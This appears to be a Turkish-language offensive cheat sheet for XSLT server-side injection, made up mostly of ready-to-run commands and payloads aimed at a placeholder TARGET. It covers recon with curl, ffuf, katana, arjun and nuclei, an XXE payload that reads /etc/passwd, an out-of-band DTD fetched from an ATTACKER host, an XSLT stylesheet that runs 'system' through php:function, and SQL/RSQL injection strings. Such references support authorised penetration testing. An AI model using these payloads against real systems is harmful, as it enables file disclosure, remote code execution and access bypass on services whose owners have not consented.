XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

web offensive

XSLT Server Side Injection (Extensible Stylesheet Language Transformations) web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.

Metodoloji

1. XSLT Server Side Injection (Extensible Stylesheet Language Transformations) giriş noktalarını (param/header/cookie/upload/API) haritala.

2. Hedefe özgü payload ve araçlarla hipotezi doğrula.

3. Okuma/yazma/RCE/bypass etkisini somut kanıtla.

4. Zincirleme senaryo ve kanıt paketini tamamla.

Keşif

Hedef yığını, endpoint’leri ve auth sınırını netleştir.

curl -skI https://TARGET/

whatweb -a 3 https://TARGET

katana -u https://TARGET -jc -d 3 -o crawl.txt

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,403

arjun -u https://TARGET/api/v1/item --get

XXE / XSLT

<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><r>&xxe;</r>

<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % dtd SYSTEM "http://ATTACKER/x.dtd">%dtd;]>

curl -sk -H 'Content-Type: application/xml' --data-binary @xxe.xml https://TARGET/xml

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:saxon="http://saxon.sf.net/" xmlns:php="http://php.net/xsl"><xsl:template match="/"><xsl:value-of select="php:function('system','id')"/></xsl:template></xsl:stylesheet>

ORM / RSQL injection

id=1) OR 1=1--

name==*admin*;role==admin

curl -sk 'https://TARGET/api/users?search=id=1)%20OR%201=1--'

HQL/JPQL: ' OR hibernate function

Operasyon notları

XSLT Server Side Injection (Extensible Stylesheet Language Transformations) sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Ek komutlar

curl -sk https://TARGET/robots.txt

nuclei -u https://TARGET -as -silent

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

GET / HTTP/1.1
Host: TARGET
Accept: */*

mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Ek keşif komutları

curl -sk https://TARGET/robots.txt

curl -sk https://TARGET/sitemap.xml

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

nuclei -u https://TARGET -as -silent

GET / HTTP/1.1
Host: TARGET
Accept: */*

Kanıt toplama

mkdir -p evidence/web && tee evidence/web/notes.txt

request/response
zaman damgası
kullanılan hesap
etki özeti

curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html